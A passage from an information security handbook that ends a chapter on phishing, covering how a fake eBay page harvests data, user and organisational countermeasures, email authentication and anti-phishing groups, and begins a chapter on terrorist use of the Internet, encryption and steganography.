brand recognition, legitimate retailers use DNS names in their URLs. The use of the IP address in the example shows that the phisher is trying to hide the actual location of the server. Also note the inclusion of the security “reassurance” message at the top of the page: “For security reasons the following information must be confirmed.” This page asks for a number of different data items from the phish. Asking for the eBay user ID and password serves two purposes. The first is that it allows the phisher to log onto eBay and perhaps buy (or sell) items using the phish’s identity. The second reason for obtaining this information relies on the predictability of most typical Internet users. Today’s disjointed Internet commerce landscape requires users to establish IDs and passwords at multiple Web sites. To manage all of those IDs and passwords, most users use the same ID and password at every site. By getting the phish’s eBay ID and password, there is a better-than-average chance that the same ID and password will work at Amazon, Expedia, AOL, or the user’s ISP. The request for an additional password is a nice touch, hedging the fact that phish may have a couple of passwords that they use regularly. The page goes on to ask for the phish’s personal information. The user’s Social Security number is a standard request on such pages, as is the credit card number and expiration. In consideration of the fact that many Web sites are requesting that customers enter the card verification value (CVV) code from their credit cards,18 the page asks for that as well. Just for good measure, the page asks for the personal
Phishing: A New Twist to an Old Game
569
FIGURE 46.3 eBay information confirmation Web page.
identification number (PIN) for the card, just in case it is a debit card instead of a credit card. The fact that most people repeatedly use the same (predictable) PINs may aid the phisher in gaining access to other Web sites or accounts.
Combating Phishing The effort to combat the phishing problem is being fought on many fronts. Phishing is a multifaceted problem, attacking at both a technology and personal level and targeting both an organization and its customers. As such, successful prevention, detection, and response to a phishing threat must likewise take a multifaceted approach.
Consumer Awareness Because the average user is an unknowing ally to the phisher, much effort has been spent on raising the level of awareness among the general population on how to identify and combat phishing. Information security practitioners whose organizations deal directly with consumers should begin formulating a strategy to inform their organizations’ customers of the dangers of phishing and what they can do to prevent it. Common themes in such information awareness efforts include: • Never disclose personal information in an e-mail. Personal information should not be disclosed through unencrypted Internet e-mail. If personal information, such as account numbers or Social Security numbers, must be given to the organization and a secured Web site is not available, contact the organization via telephone and verbally give them the information. Bowing to increased consumer concerns about privacy and the Internet, most established retailers allow for this type of information disclosure. • Do not click on embedded links in an unsolicited or unexpected e-mail. If an organization sends a customer a request for information that looks suspicious, the customer should contact the company directly via telephone or by independently entering the organization’s Web URL into the browser. Avoiding embedded links in unsolicited e-mails is a good way to prevent phishing and malware infections. Some common sense must be employed here. For example, if a consumer purchases a product from a retailer and immediately receives a confirmation e-mail with an
570
Information Security Management Handbook
•
•
•
•
•
•
•
•
embedded link, chances are that the e-mail is legitimate and the link is safe. On the other hand, if an e-mail arrives from a familiar site showing some of the previously discussed warning signs and asking the user to click a link to update information, extreme caution is advised. As with many other aspects of security, the context of the interaction matters a great deal in such cases. Examine the URL in the browser’s title bar and in any embedded links in an e-mail. Do they make sense? Do they contain any unusual characters or spellings? Check the target URL in any embedded links by holding the mouse pointer over the link for a few seconds. The target address displayed should be the same as the address shown in the e-mail. Be suspicious of urgent demands for information. Phishers realize that it is only a matter of time until their scam is discovered by the target organization and their site is shut down. As a result, phishing e-mails will often use verbiage to urge phish to act quickly. Look for spelling and grammatical errors. As demonstrated by the examples, spelling and grammar mistakes are an immediate clue that something is amiss. As phishers have become more sophisticated the incidence of such mistakes is getting rarer, but it does still occur. Check for the use of SSL. Any Web site asking for personal information should have its transmissions protected by SSL encryption. Two indicators that SSL is enabled are the use of “https://” in the URL of the page and the display of a closed lock icon at the bottom of the browser window (an open lock indicates that SSL is not in use.) These assure that the transmission between the user’s browser and the organization’s Web server is encrypted. It is possible for a crafty phisher to falsify these indicators through the use of overlaying windows, frames, and graphics on the phishing Web site, but the average user is unlikely to detect this. The absence of such indicators, however, is a clear signal to any user (sophisticated or not) that the information is not protected at all. If SSL is in use, check the certificate. All SSL-based sessions use digital certificates to validate the Web server to the end user. If a site is using SSL, check the certificate for that site.19 The certificate will indicate the organization to which the certificate was issued. If the name of that organization is different than the name of the organization the user thinks he is connected to, that could be an indication that a problem exists. Enable virus scanning and anti-spam software and keep it updated. Many modern anti-virus and anti-spam programs have capabilities to detect and stop activities associated with phishing attacks, including attempts to install keystroke loggers and the ability to block unauthorized outbound connections. The most important aspect to using these programs is to keep them updated with the latest updates and signature files. Most programs have the ability to do this automatically without user intervention. Disable HTML e-mail. The use of cleverly formed HTML code in e-mail messages covers a wide variety of phishing techniques. Users should turn off the ability of their e-mail programs to display HTML-based e-mail. Although this may render some mail difficult to read, the added protection this affords the user far outweighs the inconvenience. Bowing to the increased use of this protection mechanism on the part of their customers, many large retailers now give their customers a choice of whether they would like to receive e-mail form the organization in HTML or plain text formats. Check for e-mail personalization. The salutation in many phishing e-mails begins with “Dear Big Bank Customer” or “Dear User.” In an effort to provide a more pleasurable interaction with their customers, most organizations like to address their e-mail more personally, such as “Dear Mr. Jones” or “Dear Gertrude.” The lack of a personal greeting is not a definitive indicator that the message is a phishing attempt, but it is an added indicator if other clues are also present. In addition, an incorrect greeting or an e-mail addressed to the wrong person is another similar indicator.
Organization Policies Not all anti-phishing responsibility belongs to the end consumer. Many organizations are taking a much more proactive approach to phishing than they did previously. Some of the steps a proactive organization might take include:
Phishing: A New Twist to an Old Game
571
• Develop an organization communications policy. The organization should develop a policy mandating specific ways that contact with customers (including e-mail) will and will not be constructed and managed. It is common for large organizations to contain several business lines that all contact customers directly. Each of those businesses should comply with any policies governing customer contact. When such a policy is in place (and enforced), the organization should inform its customers about the policy and how it may affect the organization’s e-mail communications. • Never ask for personal or financial information in an e-mail. The organization should not ask for personal information in e-mail. If personal information is required, it should only be obtained on a secured Web site during a user-initiated session or over the telephone through a user-initiated phone call. • Do not embed hotlinks in customer e-mail. The use of malformed URL hotlinks in phishing e-mails is a major source of customer misdirection. By not embedding hotlinks in the e-mail the customer must enter the URL manually into the browser. This will limit the use of URL redirection and character substitution in the URL itself. This activity, however, may meet with some resistance within the organization. The marketing departments in most organizations feel that embedding hotlinks in the e-mail allows for easier customer interaction and increases the likelihood that the customer will act on the e-mail (because it is much easier to click on a link rather than entering a URL into a Web browser). Removing this capability may reduce customer response and hurt the organization. This is a classic “security versus convenience” trade-off problem that many security practitioners face and will have to be decided based on the business and security needs of the organization. • Use only well-known Web addresses. Organizations should direct users to well-known addresses on their site, such as the organization’s home page or a single level down from the home page. Directing the user to an address such as http://www3.customers.bigbank.com instead of http://www.bigbank.com/customers allows users to feel more confident that they are going to the proper site.20 Short URLs also increase the likelihood that the user will spot any URL anomalies in the address.
Organization Preventative Activities The preventative policies and measures discussed in the last section are not yet widespread, although many organizations are considering their implementation. To date, most of the activity undertaken by organizations to combat phishing has been reactionary in nature. Because of the unpredictable nature of phishing attacks and the limited technology in place to prevent its occurrence, the primary focus of most organizations has been to identify phishing attacks as soon as they begin and to work feverishly to take down the offending sites as quickly as possible. Most large financial institutions and online retailers have a dedicated person or team to handle phishing events. In some cases, this task is given to the organization’s incident response team as an added responsibility. Because of the recent growth in the number and intensity of phishing incidents, anti-phishing response is now as standard a process as virus response in many organizations. When building such a team, it is important to develop a response plan before the organization experiences an attack. As all good incident response teams know, planning the activities, roles, responsibilities, and processes that such a team will use can streamline the response immeasurably and lead to a faster and more effective response. The team should be cross-functional in nature, including diverse membership from the security, information technology (IT), communications, public relations, marketing, customer service, and legal areas within the organization. The specific process the team uses will vary based on available resources, organization culture, and business needs, but the process should consider the following in its planning: • Who has primary and supportive responsibilities within the team? Roles of team members may shift during an incident. For example, the security and IT members may have more responsibility in the early phases of an attack, but the public relations and customer service members may have a bigger role in the latter stages of the event.
572
Information Security Management Handbook
• How will customers be informed? This is particularly important if customer information was, in fact, obtained by the phisher. Even if the organization was not at fault in the disclosure, the customer may be looking to it to do something about it. • What should the help desk or customer service center tell customers? A standard communication template should be developed with place holders for specific details about each event. • How will third-party contact be managed? During the course of an attack, an organization may have to contact its own ISP, other local ISPs, or service providers in other countries. The organization should begin to build relationships with its own ISP as soon as possible (before an attack begins) to discuss response processes in the event of an attack. If the organization is in regular contact with other service providers it should hold similar discussions with them as well. Likewise, law enforcement officials at the local, state, or federal level may also have to be contacted. Knowing who those contacts are and establishing a working relationship with them before an incident will save valuable time during an incident. If international law enforcement assistance is needed, these contacts can make that happen much faster than an organization can on its own. Recent years have also seen a rise in “brand protection” services. These are companies that will constantly scan the Internet (Web sites, news groups, blogs, and news sources) to see if a client organization is mentioned and in what context. Recently, that service has been expanded to include a search for unauthorized use of the organization’s name, logo, or likeness. Because most e-mail-based phishing attacks involve the use of Web pages cloned from the organization’s official site, such a search can reveal a phishing attempt in preparation or in progress. The usefulness of such services as anti-phishing prevention is a matter of debate. Most organizations will hear about a phishing attack from customers or others receiving phishing e-mails long before a service may identify the phishing site itself; however, the use of such a service might be considered when formulating a defense-in-depth phishing strategy.
Prevention through Technology Because phishing relies on technology (such as e-mail, browsers, and Internet transport) to deliver an attack, companies are investing heavily in technology research to combat the problem. This work is taking place on a number of different fronts. Enhanced User Authentication Because phishing relies primarily on impersonation and obfuscation, much of the work has been focused on providing more advanced authentication tools for both the consumer and organizations providing Web services. The most obvious is to require stronger authentication of users before they are allowed to enter Web sites. The most ubiquitous authentication method in use today is the simple password. The security deficiencies of passwords are numerous and legendary, so advanced, multifactor forms of authentication (for example, tokens, certificates, smart cards, or biometrics) have been proposed. The theory behind this is that these authentication methods require an enhanced interaction between the customer and the legitimate organization that cannot be duplicated by a phisher simply cloning the target organization’s Web site or obtaining a simple password. This raises the barrier to entry and makes a successful attack more expensive and more difficult to successfully complete. On the other hand, many organizations (particularly marketing and customer service professionals) fear that these advanced (and sometimes complicated) forms of user authentication will lead to widespread customer dissatisfaction. Consumers seem to agree. In an April 2004 survey by Gartner, only 14 percent of those surveyed would favor using a separate device (such as a token or cell phone) for Web site authentication.21 In the fall of 2004, AOL and RSA announced a plan to offer AOL subscribers enhanced authentication through the use of RSA’s SecurID® token device. It is not known how many customers will be willing to spend the extra $1.95 to $4.95 per month for the heightened security Other methods that have been deployed to overcome the limitations of static passwords have used multiple one-time passwords deployed in bulk to end users. Each password in the list is used only once
Phishing: A New Twist to an Old Game
573
then discarded. Typical distribution methods include a large grid containing multiple passwords (where the user matches row and column values supplied by the server during log-in to indicate the cell in the grid where the correct password can be found) or as scratch-off cards that require the user to scratch off a protective layer of film (similar to many modern lottery games) to reveal the next password in the sequence. These methods are similar to the electronic token devices produced by RSA and others, but with a lower technology investment required. Use of this type of technology has been growing in Europe, but its acceptance in the United States has been very slow. Enhanced Server Authentication The other half of advanced authentication involves the organization validating itself to the end user. Almost all authentication in place today requires that the user authenticate to the Web site, but the user takes it on faith (based solely on visual inspection) that the Web site to which he or she is connected is the official Web site of the desired organization. A stronger method of validating the Web server is needed. The concept of “shared secrets,” where both the user and the organization share a common piece of knowledge that can be used to enhance authentication, has been used somewhat successfully in the past, but primarily for end-user authentication. The best example of the use of shared secrets is the use of questions that only the user will be able to answer, such as “What’s your mother’s maiden name?” or “What was your high school mascot?” or “What is the air-speed velocity of an unladen swallow?” Answering such questions aids in mutual authentication because only the organization knows what questions to ask and only the users can answer them. Unfortunately, many of the questions that are currently asked, such as the classic “mother’s maiden name” query, are so universally used that they have lost much of their true value as authenticators. Some sites have implemented a better question-andresponse process by asking the user multiple questions (five to ten) at registration, then rotating those questions randomly during successive log-in sessions. Still others allow the user to supply both the questions and the answers, allowing for a truly unique series of questions for each customer not easily duplicated by a phishing site. Another interesting implementation of shared secret technology uses pictures along with the secret. A user who wants to access the organization’s Web server enters his ID and password. The server then displays a predefined graphic and custom message back to the user. Full access is only granted when the server has authenticated the user (through the ID and password) and the user authenticates the server (by indicating that the picture and message were correctly displayed). Browser-Based Validation Some technologies install add-on software into the user’s Web browser to determine if the site a user is visiting is legitimate or not. These plug-ins perform real-time assessments of the structure of the URL, domain name, and server location, in addition to evaluating the images and links on the page. In some cases, site referrals, page depth, and editing history are also evaluated. The intent of these technologies is to stop access to potentially spoofed sites and, if spoofing is suspected, disable users from entering their user names and passwords. E-Mail Authentication Because phishing relies heavily on the use of e-mail to propagate, and many of those e-mails have forged header information to hide the true origin of the sender, some solutions have focused on strengthening the authentication of e-mail messages. A large initiative, backed by Microsoft, EarthLink, and AOL, is called SenderID. The idea behind SenderID is to verify that every e-mail sent to a user actually comes from the site or organization that it purports to come from and has not been forged or altered. Under SenderID, e-mail senders advertise the addresses of their official e-mail servers within their DNS infrastructure. When a mail server receives an e-mail for delivery, it requests the list of official e-mail servers from the sender’s DNS service and then compares that with the address of the server that actually delivered the e-mail. If the sending address is authorized to send mail for that domain the e-mail is allowed to pass. This validation is performed before the e-mail message is delivered to the end user.
574
Information Security Management Handbook
Another initiative to combat e-mail forgery is the DomainKeys system proposed by Yahoo!. This system uses public-key cryptography and digital signatures to validate the authenticity of e-mail sources. Under DomainKeys, an organization generates a pair of public and private encryption keys. The public key is published in a DNS record for the organization. When an authorized user in that organization sends an e-mail, the e-mail system uses the private key to generate a digital signature of that message. This signature is then prepended as a header to the e-mail, and the e-mail is sent on to the destination mail server. When the e-mail is received by the destination server, the public key is retrieved from the DNS server of the sending organization (as defined within the e-mail) and used to verify the digital signature of the e-mail. If the verification process is successful, the e-mail is allowed to pass. The DomainKeys initiative requires more embedded technology and computing resources than the SenderID method, but its use of cryptography and digital signatures is more highly resistant to attack than the DNS record-matching process employed by SenderID. Some companies also compile “white” and “black” lists as a service for subscribers. These are compiled lists of domains that are known to be good and bad, respectively. List providers scour the Web looking for potential spamming and phishing Web sites. In addition, service subscribers provide the services with the names of domains that have sent them troublesome e-mail. Continuously updated lists are then made available to subscribers. When an organization receives an e-mail, it can check the domain of the sender against these lists. If the sender is on the white list it is allowed to pass; if it is on the black list, it is blocked. These listing services were originally developed to combat the problems of spam and have been extended to apply to phishing e-mails, as well. Trusted Third Parties If the basic problem inherent in e-mail spoofing is that the parties cannot authenticate each other, an answer would lie in the requirement for each organization to establish trust relationships (through digital key exchanges or other technological mechanisms) with other organizations with which it exchanges information (including e-mail). Unfortunately, many organizations exchange e-mail with dozens, or even hundreds, of other parties, often sporadically and randomly. Requiring each organization to maintain that sort of trust infrastructure with every other entity would tax the organization beyond practicality. To solve that problem requires the use of a trusted third party (TTP). The role of the TTP is to establish trust with many different organizations through the use of established, verified protocols. When an organization has satisfied the TTP’s requirements for trust, it can then file its credentials (typically a digital certificate) with the TTP. When a second organization receives an e-mail from the first, it can check the credentials for the first organization on file with the TTP against the credentials included with the e-mail. If they match, the e-mail is acknowledged as valid. The process of using TTPs is similar to that used by SenderID and DomainKeys. The difference is that those two initiatives are based on the vigilance of each organization to maintain comprehensive and secure processes for ensuring the integrity of the validation information. If one of those organizations fails in this role, the entire system breaks down. The TTP, on the other hand, stakes its entire business model and commercial reputation on its ability to maintain a high level of integrity and security. Although this is certainly not infallible, it provides a much higher degree of assurance to participating organizations. Attacking the Attackers A new (and somewhat controversial) proposed countermeasure to combat phishing will identify and locate the Web site responsible for an active phishing attack. Rather than aiming to shut it down, the service will begin to feed the site phony information about fictitious customers. The idea behind this activity is to dilute the information about real customers with an avalanche of bogus information. Although it does not remove the real customer data from the phishing site, it does reduce the likelihood that the real information will be found (and used) by the offending phishers when they collect the information their site has gathered.
Phishing: A New Twist to an Old Game
575
Anti-Phishing Organizations Like viruses and spam before it, phishing cuts across a wide range of industries and organizations. Because of this, several coalitions of industry and government participants have been formed to combat this growing threat. The more active (and effective) anti-phishing organizations are led by commercial organizations. As the targets of phishing attacks, these organizations have the most to lose when it comes to loss of business and reputation. The companies participating in these groups believe that by cooperating and sharing information they can make a much bigger dent in the problem than would be possible by each working individually: • Anti-Phishing Working Group (APWG) — The APWG is one of the largest and well-known groups in existence. It describes itself as an “industry association focused on eliminating the identity theft and fraud that result from the growing problem of phishing and e-mail spoofing.”22 It does this by collecting information about current and past phishing attacks, including an archive of past attacks describing in detail the type of attack, the e-mail used to propagate the attack, identifying characteristics of the attack, and the source. Phishing victims (organizations and consumers) can report their experiences to APWG. More information on APWG can be found at http://www.antiphishing.org. • BITS — BITS is a financial services industry consortium of the 100 largest financial institutions in the United States. Because the financial services industry has been a primary target for phishing attacks, BITS members actively share information about phishing attacks and countermeasures. BITS also issues advisories to its membership on ways to identify and combat phishing. More information on BITS can be found at http://www.bitsinfo.org/index.html. • Digital PhishNet — Launched in December of 2004, Digital PhishNet is a collaboration between industry and law enforcement to identify, prevent, and prosecute those who launch phishing attacks. Its stated goals are “to identify, arrest, and hold accountable those that are involved in all levels of phishing attacks to include spammers, phishers, credit card peddlers, reshippers, and anyone involved in the further abuse of consumers’ personal information.”23 As a relatively new initiative, it remains to be seen how effective Digital PhishNet will be, but a cooperative effort between those hardest hit by phishing and those charged with investigation and prosecution of those crimes holds a great deal of promise. More information on Digital PhishNet can be found at http://www.digitalphishnet.org/default.aspx. • Phish Report Network — The newest addition to the anti-phishing groups is the Phish Report Network. Launched in February 2005 by Visa U.S.A, Microsoft, eBay, and WholeSecurity, the group describes itself as an aggregation service that allows subscribers to report incidents of phishing attacks that are then entered into a central database. Subscribers can also query the database to determine if a particular site or organization is associated with phishing attacks. This can be useful to large Internet service providers, hosting companies, and Internet monitoring services. More information about the Phish Report Network can be found at http://www.phishreport.net/index.html.
Conclusions The problem of combating phishing has taken on near-crisis proportions. Unfortunately, no bullet-proof solution has yet been devised, although many avenues are being explored. The fundamental impediment to finding a “cure” for phishing comes from its split personality. On the one hand, phishing is a technology problem, most closely resembling spam but also carrying traits of malware and spyware in its makeup. As a technology problem, several potential solutions are in the works to identify, prevent, and trace phishing attacks quickly and efficiently. Additionally, as for spam, malware, and spyware, a continuous game of “cat and mouse” will be played while the phishers and anti-phishing forces develop techniques, countermeasures, and anti-countermeasures. Security researchers and technology developers will continue
576
Information Security Management Handbook
to improve the security of the products and protocols used on the Internet, and methods for verifying the identity and authenticity of Internet messages and transactions will inevitably work their way into the fabric of daily Internet life. At the core, however, phishing as a technology problem is a solvable or at least containable problem. Phishing is not simply a technology problem, however. The other half of the phishing equation is the end user who responds to the e-mails and divulges personal information simply because he was asked or the user who does not keep anti-virus software up to date and allows a worm or Trojan horse to infect his computer. This is the “uneducated user” problem and is not so easily solved. It has plagued security practitioners from the earliest of days (“Hey, that big wooden horse looks innocent enough! Let’s bring it inside the city gates and have a look!”), and no amount of technology can solve it. Recent heightened coverage of phishing and identity theft in the media has raised consumer and commercial awareness of the problem considerably, and lawmakers across the globe are struggling with how to enact legislation, raise consumer awareness, and increase corporate liability regarding the security of their products and services. In the end, though, it comes down to individual users making a conscious decision to assume a proactive role in maintaining the security of their personal information and decide whether or not to type their credit card numbers or Social Security numbers into a Web site. Preventing the uneducated user from making the wrong decision in the face of overwhelming (and falsified) evidence that the action is safe is the most difficult problem.
References and Notes 1. Genesis 27:1–35 describes one such example. 2. Based on a definition found at http://www.Webopedia.com/TERM/p/phishing.html; the original definition found at that site has been modified here. 3. Anti-Phishing Working Group. 2005. Phishing Activity Trend Report, http://www.antiphishing.org/ APWG_Phishing_Activity_Report_January05.pdf. 4. Robertson, E. 2004. A Phish Tale? Moving from Hype to Reality. Neeham, MA: TowerGroup. 5. Litan, A. 2004. Phishing Attack Victims Likely Targets for Identity Theft. Stamford, CT: Gartner (http://www.gartner.com/DisplayDocument?doc_cd=120804). 6. TRUSTe. 2004 (Sept. 29). U.S. Consumer Loss of Phishing Fraud to Reach $500 Million [press release]. San Francisco, CA: TRUSTe (http://www.truste.org/about/press_release/09_29_04.php). 7. FDIC. 2004 (Dec. 14). Putting an End to Account-Hijacking Identity Theft. Washington, D.C.: Federal Deposit Insurance Corporation (http://www.fdic.gov/consumers/consumer/idtheftstudy/). 8. APWG. 2005 (Feb.). Phishing Activity Trend Report. Cambridge, MA: Anti-Phishing Working Group (http://www.antiphishing.org/APWG_Phishing_Activity_Report_Feb05.pdf). 9. As reported in ComputerWorld, December 17, 2004. 10. This quote is typically attributed to Mark Twain; however, Twain himself attributed the quote to Benjamin Disraeli. Unfortunately, there are no references to such a quote in any of Disraeli’s works or speeches. Many historians believe the quote was first uttered by Leonard Henry Courtney, the British economist and politician (1832–1918) during a speech in August 1895. 11. Social engineering: The process of using social interaction (often under false pretenses) to obtain information from a victim. 12. This is commonly referred to as a “drive-by” download. 13. Also known as SB 1386. 14. For a full discussion of Willie Sutton’s history and the real story of this quote, see http://www.banking.com/aba/profile_0397.htm. 15. A site that will not ask any questions about the user’s activities may cost a bit more. 16. A good list of methods that spammers use to harvest e-mail addresses can be found at http:// www.private.org.il/harvest.html. 17. With many popular e-mail programs and browsers, if the mouse is held over a URL hyperlink for a short period of time the actual target URL (as opposed to the displayed URL) will be shown.
Phishing: A New Twist to an Old Game
577
18. CVV is an anti-fraud security feature used to ensure that the person charging on the card is, in fact, in possession of the card. 19. In Internet Explorer, the certificate can be viewed by selecting File → Properties, then clicking the Certificates button. 20. Any redirection to other sites within the organization’s infrastructure can be handled behind the scenes by the organization either within the code of the Web page or by creative DNS routing. 21. Litan, A. and J. Pescatore. 2004. Shared Secrets Are a Practical Way To Fight Phishing. Stamford, CT: Gartner (http://www.gartner.com/research/spotlight/asset_94773_895.jsp). 22. See http://www.antiphishing.org/membership.html. 23. As stated on the Digital PhishNet Web site at http://www.digitalphishnet.org/default.aspx.
This page intentionally left blank
47 It’s All about Power: Information Warfare Tactics by Terrorists, Activists, and Miscreants Gerald L. Kovacich, Andy Jones, and Perry G. Luzwick The terrorists practice a fringe form of Islamic extremism that has been rejected by Muslim scholars and the vast majority of Muslim clerics — a fringe movement that perverts the peaceful teachings of Islam. The terrorists’ directive commands them to kill Christians and Jews, to kill all Americans, and make no distinction among military and civilians, including women and children. This group and its leader — Al Qaeda and a person named Osama bin Laden — are linked to many other organizations in different countries, including the Egyptian Islamic Jihad and the Islamic Movement of Uzbekistan. There are thousands of these terrorists in more than 60 countries. They are recruited from their own nations and neighborhoods and brought to camps in places like Afghanistan, where they are trained in the tactics of terror. They are sent back to their homes or sent to hide in countries around the world to plot evil and destruction. — George W. Bush, President of the United States of America
9/11/01: A Date in Infamy This chapter was in the process of its initial editing when the Massacre of September 11, 2001, took place. While it would be wrong to rewrite this chapter in response to that one terrible event, it would be shameful to fail to acknowledge the effects and the losses. The attacks on the World Trade Center and the Pentagon were extreme but conventional terrorist attacks, but some of the retaliatory action that took place in the following days and weeks occurred in cyberspace. The outcome of these actions must be judged by the results. This chapter discusses the publicly known terrorist nation, drug cartel, and hacktivist (cyber disobedience) capabilities, such as those of animal rights groups, freedom fighters, and the like. Examples include terrorists such as Osama bin Laden using the Internet and encrypted communications to thwart law enforcement, the drug cartels’ use of computers to support their drug money laundering operations, and the Zapatista movement in Mexico, outnumbered and outfinanced by the Mexican government, taking to the Internet to support its cause (the Zapatistas conducted denial of service attacks against the Mexican and U.S. governments).
579
580
Information Security Management Handbook
Information Warfare Tactics by Terrorists The first group examined are terrorists. The motivation of a terrorist is to undermine the effectiveness of a government by whatever means it chooses. It is worth remembering at this point that a terrorist in one country is a freedom fighter in another, and as a result, there is no stereotype. When you take into account the differing cultures around the world and the differing political regimes that exist, it is easy to understand that a variety of actions may be terrorist actions when carried out for political means or the actions of a hooligan, or, in computer terms, the actions of a hacker. Let us first address a term that is in current and widespread use — cyber-terrorism. While it can be accepted that this term can be used to convey a general meaning, it is not possible to accept the current use of the term to be anything more. The definition of terrorism that was adopted by the gateway model in the United Nations in the spring of 1995 is: A terrorist is any person who, acting independently of the specific recognition of a country, or as a single person, or as part of a group not recognized as an official part of division of a nation, acts to destroy or to injure civilians or destroy or damage property belonging to civilians or to governments to effect some political goal. Terrorism is the act of destroying or injuring civilian lives or the act of destroying or damaging civilian or government property without the expressly chartered permission of a specific government, thus, by individuals or groups acting independently or governments on their own accord and belief, in the attempt to effect some political goal. All war crimes will be considered acts of terrorism. Attacks on military installations, bases, and personnel will not be considered acts of terrorism, but instead acts by freedom fighters that are to be considered a declaration of war towards the organized government.1 A very different definition was offered at the Fifth Islamic Summit that was convened to discuss the subject of international terrorism under the auspices of the United Nations, which is as follows: Terrorism is an act carried out to achieve an inhuman and corrupt (mufsid) objective, and involving threat to security of any kind, and violation of rights acknowledged by religion and mankind.2 It is notable that in the main body of this definition there is no reference to the nation-state, something that, in the West, would be fundamental to any understanding of terrorism. The author then goes on to make a number of additional points to clarify the definition, the most significant of which are: • We have used the term “human” instead of “international” for the sake of wider consensus, official or otherwise, so as to emphasize the general human character of the statement. • We have referred to various types of terrorism with the phrase “security of any kind.” • We have mentioned the two criteria (i.e., religious and human), first to be consistent with our belief and then to generalize the criterion. This totally different approach to the issue of terrorism is significant and a clear reminder to the nationstates that consider themselves to be “Western” that not all cultures view the issue in the same manner as Anglo–Americans. Even given these diverse views of the meaning of terrorism, there is an underlying trend of physical destruction and of the actions being of such a magnitude and type as to cause “terror” to the people. This does not fit well within the “cyber” environment because there is no direct physical destruction (other than 0’s and 1’s) and, without the effect of the bullet, the blast, or carnage of the bomb, “terrorization” of the people is difficult in our current state of technological advancement. It is more likely that as our cultural values change and we become more highly dependent on technology than we currently are, that the cyber-terrorist in the true sense will come into being. For example, today and more so into the future, as we increase our proliferation and dependence on telemedicine, a terrorist might:
Information Warfare Tactics by Terrorists, Activists, and Miscreants
581
• Attack a computer system to shut off a patient’s life support • Change the dosage of a patient’s medicine to kill the patient • Manipulate blood bank information, causing the wrong blood type to be given to patients and resulting in numerous deaths
What Do They Want To Achieve? Let us first look at what a terrorist will want to achieve through the use of the Internet. This may be one or more of a number of things. The terrorist organization may wish to use this medium for the transmission of communications between individuals and groups within the organization. Look at the potential: • The terrorist has been offered all of the facilities that the Cold War spy always dreamed of. It is possible to be anonymous on the Internet, with pay-for-use mobile phones and free Internet accounts. • No attempts are made by the service providers to ascertain that the details provided by a customer are real and actually do relate to the user. • Once online, the user can further disguise his or her identity in a number of ways. • Anonymous re-mailers and browsers can disguise the identity of the user. • High-grade encryption is freely available that law enforcement cannot yet break, and some civil liberty groups want to ensure that this situation remains so. The desire of civil liberty organizations to maintain the privacy of messages on the Internet has actually nothing to do with the terrorist — they have the liberty and privacy of the individual at heart, but the terrorist is just one of the beneficiaries of the pressure that they seek to exert. A well-reported example of terrorist use of the Internet in this way is the activity of Osama bin Laden, who is reported to have used steganography (the ability to hide data in other files or the slack space on a disk) to pass messages over the Internet.3 Steganography has become a weapon of choice because of the difficulty in detecting it. The technique hides secrets in plain sight and is especially important when there is a concern that encrypted communications are targeted. It was reported that bin Laden was “hiding maps and photographs of terrorist targets and posting instructions for terrorist activities on sports chat rooms, pornographic bulletin boards, and other Web sites.” According to another report, couriers for bin Laden who have been intercepted have been found to be carrying encrypted floppy disks.4 Other references to the use of the Internet by bin Laden describe the use of a new form of the Cold War “dead letter box,” which was a predetermined place where one agent deposited information to be collected by another agent. A June 2001 report indicated that bin Laden was suspected of using encryption for his messages for at least five years.5 According to reporter Jack Kelley,6 FBI director Louis Freeh stated that, “Uncrackable encryption is allowing terrorists — Hamas, Hezbollah, Al Qaeda (another name for bin Laden’s organization), and others — to communicate about their criminal intentions without fear of outside intrusion.” Kelley also reported that according to other unnamed officials, bin Laden’s organization uses money from Muslim sympathizers to purchase computers from stores or by mail, after which easy-to-use encryption programs are downloaded from the Internet. As evidence, they cite the case of Wadih El Hage, one of the suspects of the 1998 bombing of two U.S. embassies in Africa, who is reported to have sent encrypted e-mails under a number of aliases, including “Norman” and “Abdus Sabbur,” to associates of Al Qaeda. Also cited as evidence is the case of Ramzi Yousef, the man convicted of masterminding the World Trade Center bombing in 1993, who is reported to have used encryption to hide details of the plot to destroy 11 U.S. airlines. The computer was found in his Manila apartment in 1995 and was passed to U.S. officials who cracked the encryption and foiled the plot. The same report goes on to say that two of the files took more than a year to crack. This is, in itself, revealing because it gives some indication of the level of effort that government and law enforcement agencies are prepared to invest in their efforts to bring to justice this type of criminal, as well as the level of effort and sophistication that is being used by terrorists.
582
Information Security Management Handbook
Osama bin Laden is also skilled in the use of the media to promote the aims and the aura of the organization. This is evident from his use of the press to provide interviews. He is a well-educated and, through his family, a wealthy man. He has a good understanding of the way in which the media can be used to influence public opinion and has used the media to promote his philosophy.
Tactics Having identified some of the types of effects that terrorists might want to use the Internet to achieve, let us now examine the tactics and tools that they would use to realize their aim. In the case of Osama bin Laden, he is apparently communicating via the Internet using steganography and encryption. Dealing with the two issues separately for the purposes of describing them in no way implies that the two (steganography and encryption) do not go together; in fact, quite the reverse. If you are paranoid and you want to make sure that your messages get through undetected and in a state that is unreadable to anyone who might detect their presence, then the combination of techniques is a powerful one. Data Hiding What is steganography? The word “steganography” literally means “covered writing” and is derived from Greek. It includes a vast array of methods of secret communications that conceal the very existence of the message. In real terms, steganography is the technique of taking one piece of information and hiding it within another. Computer files, whether they are images, sound recordings, text and word processing files, or even the medium of the disk itself, all contain unused areas where data can be stored. Steganography takes advantage of these areas, replacing them with the information that you wish to hide. The files can then be exchanged with no indication of the additional information that is stored within. A selected image, perhaps of a pop star, could itself contain another image or a letter or map. A sound recording of a short conversation could contain the same information. In an almost strange twist in the use of steganography, law enforcement, the entertainment industry, and the software industry have all started to experiment with the use of steganography to place hidden identifiers or trademarks in images, music, and software. This technique is referred to as digital watermarking. How does it work? Well, the concept is simple. You want to hide one set of data inside another but the way that you achieve this will vary, depending on the type of material in which you are trying to hide your data. If you are hiding your data in the unused space of a disk,7 you are not, primarily, constrained by the size of the data because you can break it into a number of sections that can be hidden in the space described below. Storage space on disks is divided into clusters that in Microsoft DOS and Windows file systems are of a fixed-size. When data is stored to the disk, even if the actual data being stored requires less storage than the cluster size, an entire cluster is reserved for the file. The unused space from the end of the file to the end of the cluster is called the slack space. For DOS and older Windows systems that use a 16-bit File Allocation Table (FAT), this results in very large cluster sizes for large partitions. As an example, if the partition on the disk was 2 Gb in size, then each cluster would be 32 Kb. If the file being stored on the disk only required 8 kb, the entire 32-Kb storage space would be allocated, resulting in 24 Kb of slack space in the cluster. In later versions of the Microsoft Windows operating system, this problem was resolved (or at least reduced) by the use of a 32-bit FAT that 